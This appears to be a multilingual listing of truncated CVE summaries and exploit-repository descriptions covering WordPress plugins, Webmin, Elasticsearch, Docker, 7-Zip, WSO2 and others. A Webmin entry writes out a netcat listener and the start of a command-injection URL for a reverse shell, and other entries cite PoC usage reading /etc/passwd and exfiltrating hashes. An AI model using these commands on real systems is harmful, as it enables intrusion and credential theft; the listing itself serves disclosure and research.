CVE-2026-9231

The WP Travel Engine – Tour Booking Plugin – Tour Operator Software plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.8.0 via the wtegettemplate function. This makes it possible for authenticated attackers, with contributor-level access and above, ...

CVE-2026-92969

The HUSKY – Products Filter for WooCommerce Professional plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.4.4 via the 'shortcode' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files...

CVE-2025-1280

The BM Content Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to 3.17.1 exclusive via the uxcbpagecustomizesavelayoutajax function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary...

CVE-2025-1281

The BM Content Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the uxcbremovelayoutajax and uxcbtoolsexportajax functions in all versions up to, and excluding, 3.17.1. This makes it possible for authenticated attackers, with...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE 执行指南 关于通过 /file/show.cgi 组件在 Webmin 1.580 上执行经过身份验证的远程代码执行 RCE 的快速参考。 1. 攻击机（监听器） 在本地机器上运行此命令以在执行负载之前捕获传入的连接： root@kitploit: rlwrap nc -lnvp 4444 2. 目标利用载荷 将以下 URL 直接粘贴到浏览器的地址栏中（确保您已先登录 Webmin 仪表盘）： root@kitploit: http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm...

path-traversal-CVE-2026-14628

Demostración de Path Traversal - Caso de estudio: CVE-2026-14628 Una demostración mínima y ejecutable de la clase de vulnerabilidad Path Traversal CWE-22 , utilizando el recientemente divulgado CVE-2026-14628 como punto de referencia del mundo real. La vulnerabilidad real CVE-2026-14628 afecta a...

es_inject

CVE-2014-3120 Elastic Search 远程代码执行 该项目演示了 CVE-2014-3120 漏洞/配置错误。它允许您读取和追加文件到托管 Elasticsearch 的系统上，前提是运行 ES 的用户拥有对这些文件的访问权限。 注意 此漏洞利用不需要 Web 服务器。将其保存到本地，然后从浏览器中运行即可。 漏洞发现和发布归功于：@BvdBijl - http://bouk.co/blog/elasticsearch-rce/...

CVE-2025-1280

BM Content Builder is a WordPress plugin affected by a Directory Traversal vulnerability in the ux_cb_page_customize_save_layout_ajax() function. All versions prior to 3.17.1 are impacted, allowing authenticated attackers with Subscriber-level privileges or higher to read arbitrary files on the s...

CVE-2025-1281

CVE-2025-1281 affects the BM Content Builder WordPress plugin in all versions prior to 3.17.1 . The vulnerability stems from insufficient file path validation in the ux_cb_remove_layout_ajax() and ux_cb_tools_export_ajax() functions, allowing an authenticated attacker with Subscriber-level access...

CVE-2026-92969

The HUSKY – Products Filter for WooCommerce Professional WordPress plugin is vulnerable to Local File Inclusion in all versions up to and including 1.4.4 . The flaw resides in the 'shortcode' parameter passed via the woof_draw_products AJAX endpoint, specifically through the custom_tpl shortcode ...

CVE-2024-1561

CVE-2024-1561 - Gradio Arbitrary File Read CVE-2024-1561 is an arbitrary file read vulnerability affecting Gradio versions prior to 4.13.0. Gradio is a popular Python framework used to quickly build web interfaces for machine learning models and AI applications. The vulnerability exists because t...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Docker 容器命令执行工具 一个功能强大的 Docker 远程 API 漏洞利用工具，用于 CVE-2025-9074 漏洞的安全研究和测试。 核心优势 ✅ 全自动容器生命周期管理 ：自动创建临时容器，操作完成后自动清理，不留痕迹 ✅ 智能路径处理 ：自动识别并转换 Windows 路径为 Docker 挂载格式 ✅ 全自动化操作流程 ：无需手动输入复杂命令，菜单式交互，一键完成文件操作 ✅ 跨平台兼容 ：完美支持 Windows 和 Linux 系统 部分功能效果图 功能特性 容器操作 查看运行中的容器 查看所有容器（包括停止的） 创建新容器 停止容器...

fim-ebpf

FIM-eBPF：基于 eBPF 的文件完整性监控 一个轻量级的 eBPF 程序，用于监控 Linux 上的文件创建和修改事件。该工具利用 eBPF（扩展的伯克利数据包过滤器）直接从内核跟踪文件操作，以极低的开销提供高性能监控。 特性 内核级监控 ：直接从内核跟踪文件操作（touch、nano 等）。 CO-RE 支持 ：设计用于在支持 CO-RE 的内核（内核 5.x+）上实现“一次编译，到处运行”。 可配置过滤 ：通过简单的 YAML 配置，按文件路径、操作或用户过滤事件。 目录监控 ：支持递归监控整个目录。在受监控目录（例如 /tmp）中访问的任何文件都会被跟踪。 低噪音...

CVE-2025-11001---7-Zip

CVE-2025-11001 - 7-Zip Recorrido de enlaces simbólicos de alta gravedad en 7-Zip que permite escritura arbitraria de archivos / RCE Corregido en 7-Zip 25.00 julio de 2025 – Exploit público disponible SOLO PARA PRUEBAS DE SEGURIDAD E INVESTIGACIÓN AUTORIZADAS -critical Resumen de la vulnerabilidad...

CVE-2019-20085

📂 CVE-2019-20085 – TVT NVMS-1000 目录遍历漏洞利用工具 By Z3R0 作者： Z3R0 CVE： CVE-2019-20085 目标： TVT NVMS-1000（补丁发布前的所有已知版本） 漏洞类型： 未认证目录遍历 日期： 请填写你的发布日期 🔍 漏洞概述 TVT 的 NVMS-1000 软件在其 Web 服务器组件中存在一个目录遍历漏洞。通过发送使用 /.. 序列精心构造的 GET 请求，未认证的攻击者可以访问 底层操作系统上的任意文件 ，包括敏感配置文件、密码哈希或系统密钥。 ⚠️ 受影响软件 产品： TVT NVMS-1000 版本：...

WSO2RCE

WSO2RCE El CVE-2022-29464 afecta a algunos productos WSO2 como WSO2 API Manager y WSO2 Open Banking , permitiendo la carga arbitraria de archivos y la ejecución remota de código. Productos afectados: WSO2 API Manager 2.2.0, up to 4.0.0 WSO2 Identity Server 5.2.0, up to 5.11.0 WSO2 Identity Server...

CVE-2026-48962

摘要 File::GlobMapper::getFiles 中存在一个 eval 注入漏洞，允许任何能够控制传递给 IO::Compress::Gzip::gzip、IO::Compress::Zip::zip 或任何同类函数的输出文件通配符参数的攻击者，在运行进程的上下文中执行任意 Perl 代码。无需认证。影响是全面的：主机进程的机密性、完整性和可用性完全受损。 详情 File::GlobMapper::parseOutputGlob 通过将调用者提供的输出模式包裹在 Perl 双引号中并将结果存储来构建输出文件名模板。然后 getFiles 将该字符串直接传递给...

cve-2022-31749

CVE-2022-31749 by 1vere$k CVE-2022-31749 的简易 PoC 检测器，作者 1vere$k。 它利用了 WatchGuard SSH 接口中的一个参数注入漏洞。 该漏洞允许低权限用户将任意系统文件外泄到攻击者控制的 FTP 服务器。 幸运的是，脚本默认使用一个名为 status 的内置低权限用户。 假设 status 用户 使用 readonly 密码，这并非不合理，但并非必须。 该利用程序外泄用户文件 configd-hash.xml。 此文件包含哈希后的用户密码。 哈希只是无盐 MD4。@funoverip 早在2013年就描述了使用 hashca...

CVE-2021-33564

CVE-2021-33564 PoC Script de explotación para CVE-2021-33564 Inyección de argumentos en la gema Ruby Dragonfly. Uso Lectura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -r /etc/passwd Escritura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -w...

Important: Red Hat Security Advisory: gstreamer1-plugins-base security update

An update for gstreamer1-plugins-base is now available for Red Hat Enterprise Linux 7 Extended Lifecycle Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating,...